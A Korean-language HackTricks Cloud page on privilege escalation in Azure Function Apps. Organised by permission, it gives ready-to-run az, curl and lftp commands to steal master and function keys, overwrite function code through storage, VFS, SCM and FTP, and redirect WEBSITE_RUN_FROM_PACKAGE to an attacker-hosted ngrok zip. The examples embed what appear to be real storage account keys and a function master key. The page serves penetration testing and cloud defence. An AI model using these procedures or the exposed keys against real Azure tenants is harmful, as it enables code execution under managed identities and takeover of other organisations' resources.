Az - Functions App Privesc
Reading time: 14 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Function Apps
자세한 정보는 다음 페이지를 확인하세요:
Bucket Read/Write
함수 데이터를 저장하는 Storage Account 내의 컨테이너를 읽을 수 있는 권한이 있으면 다양한 컨테이너(사용자 정의 또는 미리 정의된 이름)를 찾아 함수에 의해 실행되는 코드를 포함할 수 있습니다.
함수의 코드가 위치한 곳을 찾으면, 해당 코드에 대한 쓰기 권한이 있다면 함수를 통해 임의의 코드를 실행하고 함수에 연결된 관리 ID의 권한을 상승시킬 수 있습니다.
File Share
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
및WEBSITE_CONTENTSHARE
)
함수의 코드는 일반적으로 파일 공유 내에 저장됩니다. 충분한 접근 권한이 있으면 코드 파일을 수정하고 함수가 임의의 코드를 로드하도록 하여 함수에 연결된 관리 ID의 권한을 상승시킬 수 있습니다.
이 배포 방법은 일반적으로 WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
및 WEBSITE_CONTENTSHARE
설정을 구성하며, 이는 다음에서 가져올 수 있습니다.
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
해당 구성에는 Function이 코드를 액세스하는 데 사용할 수 있는 Storage Account Key가 포함됩니다.
caution
파일 공유에 연결하고 스크립트를 수정할 수 있는 충분한 권한이 있으면 Function에서 임의의 코드를 실행하고 권한을 상승시킬 수 있습니다.
다음 예제는 macOS를 사용하여 파일 공유에 연결하지만, 파일 공유에 대한 추가 정보를 보려면 다음 페이지도 확인하는 것이 좋습니다:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases
(WEBSITE_RUN_FROM_PACKAGE
)
함수 앱이 사용하는 Storage Account 컨테이너의 function-releases
폴더 안에서 zip 릴리스를 찾는 것도 일반적입니다.
일반적으로 이 배포 방법은 다음에서 WEBSITE_RUN_FROM_PACKAGE
구성을 설정합니다:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
이 구성은 일반적으로 Storage Account에서 코드를 다운로드할 SAS URL을 포함합니다.
caution
zip에 코드가 포함된 blob 컨테이너에 연결할 수 있는 충분한 권한이 있으면 Function에서 임의의 코드를 실행하고 권한을 상승시킬 수 있습니다.
github-actions-deploy
(WEBSITE_RUN_FROM_PACKAGE)
이전 경우와 마찬가지로, 배포가 Github Actions를 통해 이루어지면 Storage Account에서 코드의 zip과 WEBSITE_RUN_FROM_PACKAGE
설정의 zip에 대한 SAS URL을 포함하는 github-actions-deploy
폴더를 찾을 수 있습니다.
scm-releases
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
및WEBSITE_CONTENTSHARE
)
Function 데이터를 저장하는 Storage Account 내의 컨테이너를 읽을 수 있는 권한이 있으면 scm-releases
컨테이너를 찾을 수 있습니다. 그 안에서 Squashfs 파일 시스템 파일 형식의 최신 릴리스를 찾을 수 있으며, 따라서 함수의 코드를 읽을 수 있습니다:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
마스터 및 함수 키는 JSON 파일에서 찾을 수 있는 <app-name>
폴더 내의 azure-webjobs-secrets
컨테이너에 저장된 스토리지 계정에서 찾을 수도 있습니다.
caution
zip 확장 파일로 된 코드를 포함하는 blob 컨테이너에 연결할 수 있는 충분한 권한이 있으면 (실제로는 squashfs
) 함수에서 임의의 코드를 실행하고 권한을 상승시킬 수 있습니다.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
이 권한은 지정된 함수의 함수 키, 마스터 키 및 시스템 키를 나열할 수 있지만 호스트 키는 나열할 수 없습니다.
az functionapp keys list --resource-group <res_group> --name <func-name>
마스터 키를 사용하면 다음과 같은 URL에서 소스 코드를 가져올 수 있습니다:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
함수에서 실행되고 있는 코드를 변경하기 위해:
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
이 권한은 다음과 함께 지정된 함수의 호스트 키를 가져올 수 있습니다:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Microsoft.Web/sites/host/functionKeys/write
이 권한은 지정된 함수의 함수 키를 생성/업데이트할 수 있습니다:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
이 권한은 지정된 함수에 대한 마스터 키를 생성/업데이트할 수 있습니다:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
caution
이 키를 사용하면 이전에 설명한 대로 소스 코드에 접근하고 수정할 수 있다는 점을 기억하세요!
Microsoft.Web/sites/host/systemKeys/write
이 권한은 지정된 함수에 대해 시스템 함수 키를 생성/업데이트할 수 있게 해줍니다:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/config/list/action
이 권한은 함수의 설정을 가져올 수 있게 해줍니다. 이러한 구성 내에서 AzureWebJobsStorage
또는 **WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
**의 기본 값을 찾을 수 있을 가능성이 있으며, 이는 함수의 blob 저장소에 FULL 권한으로 접근할 수 있는 계정 키를 포함합니다.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
또한, 이 권한은 SCM 사용자 이름과 비밀번호(활성화된 경우)를 다음과 같이 가져올 수 있습니다:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/write
이 권한은 이전에 본 것처럼 함수의 구성 값을 나열할 수 있을 뿐만 아니라 이 값을 수정할 수 있게 해줍니다. 이 설정은 함수 내에서 실행할 코드가 위치한 곳을 나타내기 때문에 유용합니다.
따라서 WEBSITE_RUN_FROM_PACKAGE
설정의 값을 웹 애플리케이션 내에서 실행할 새 코드가 포함된 URL zip 파일을 가리키도록 설정할 수 있습니다:
- 현재 구성을 가져오는 것으로 시작합니다.
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- 실행할 함수를 위한 코드를 작성하고 이를 공개적으로 호스팅하세요.
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- 함수를 수정하고 이전 매개변수를 유지하며 끝에 **
WEBSITE_RUN_FROM_PACKAGE
**를 추가하여 코드가 포함된 zip의 URL을 가리키도록 합니다.
다음은 내 설정의 예로, 값을 귀하의 값으로 변경해야 합니다. 끝에 "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"
가 있습니다. 여기서 제가 앱을 호스팅하고 있던 곳입니다.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
이 권한을 사용하면 웹 콘솔을 통해 애플리케이션의 코드를 수정할 수 있습니다 (또는 다음 API 엔드포인트를 통해):
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
Microsoft.Web/sites/publishxml/action
, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write
)
이 권한은 기본적으로 기본 인증 자격 증명을 포함하는 모든 게시 프로필을 나열할 수 있게 해줍니다:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
또 다른 옵션은 자신의 자격 증명을 설정하고 다음을 사용하여 사용하는 것입니다:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- REDACTED 자격 증명
자격 증명이 REDACTED로 표시된 경우, 이는 SCM 기본 인증 옵션을 활성화해야 하기 때문이며, 이를 위해 두 번째 권한(Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
이 필요합니다.
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Method SCM
그런 다음, 기본 인증 자격 증명을 사용하여 SCM URL에 접근하여 환경 변수의 값을 가져올 수 있습니다:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
참고로 SCM 사용자 이름은 일반적으로 문자 "$" 다음에 앱 이름이 오므로: $<app-name>
입니다.
웹 페이지에 https://<app-name>.scm.azurewebsites.net/BasicAuth
에서 접근할 수 있습니다.
설정 값에는 함수 앱의 데이터를 저장하는 스토리지 계정의 AccountKey가 포함되어 있어 해당 스토리지 계정을 제어할 수 있습니다.
- 방법 FTP
다음과 같이 FTP 서버에 연결합니다:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
참고: FTP 사용자 이름은 일반적으로 <app-name>\$<app-name> 형식입니다.
Microsoft.Web/sites/hostruntime/vfs/read
이 권한은 VFS를 통해 앱의 소스 코드를 읽을 수 있게 합니다:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
이 권한을 사용하면 관리자 토큰을 가져올 수 있으며, 이 토큰은 나중에 마스터 키를 검색하는 데 사용될 수 있으므로 함수의 코드를 액세스하고 수정할 수 있습니다.
하지만 최근 확인한 결과 토큰이 반환되지 않았으므로 비활성화되었거나 더 이상 작동하지 않을 수 있습니다. 하지만 다음은 이를 수행하는 방법입니다:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write
, (Microsoft.Web/sites/functions/properties/read
)
이 권한은 비활성화된 함수를 활성화하거나 (또는 비활성화할 수 있습니다).
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
다음 URL에서 함수가 활성화되었는지 비활성화되었는지 확인할 수 있습니다(괄호 안의 권한 사용):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write
, Microsoft.Web/sites/config/list/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/read
)
이 권한을 사용하면 컨테이너를 수정할 수 있습니다. 함수 앱이 컨테이너를 실행하도록 구성된 경우. 이를 통해 공격자는 악성 azure 함수 컨테이너 앱을 도커 허브에 업로드하고(예: ) 함수를 실행하도록 만들 수 있습니다.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/operationresults/read
)
이 권한을 사용하면 함수에 새 사용자 관리 ID를 연결할 수 있습니다. 함수가 손상된 경우, 이는 모든 사용자 관리 ID로 권한을 상승시킬 수 있게 합니다.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
원격 디버깅
문서에서 설명된 대로 실행 중인 Azure 함수를 디버깅하기 위해 연결하는 것도 가능합니다. 그러나 기본적으로 Azure는 개발자가 취약한 구성을 남기지 않도록 잊어버릴 경우 이 옵션을 2일 후에 끕니다.
디버깅이 활성화된 함수인지 확인할 수 있습니다:
az functionapp show --name <app-name> --resource-group <res-group>
Microsoft.Web/sites/config/write
권한이 있으면 함수를 디버깅 모드로 설정할 수도 있습니다(다음 명령은 Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/Read
및 Microsoft.Web/sites/Read
권한도 필요합니다).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Change Github repo
나는 배포가 발생하는 Github 리포지토리를 변경하기 위해 다음 명령어를 실행했지만, 변경되었음에도 불구하고 새 코드가 로드되지 않았다 (아마도 Github Action이 코드를 업데이트하기를 기대하고 있기 때문).
게다가, 관리되는 ID 연합 자격 증명이 새 리포지토리를 허용하도록 업데이트되지 않았다. 그래서 이것이 그리 유용하지 않은 것처럼 보인다.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.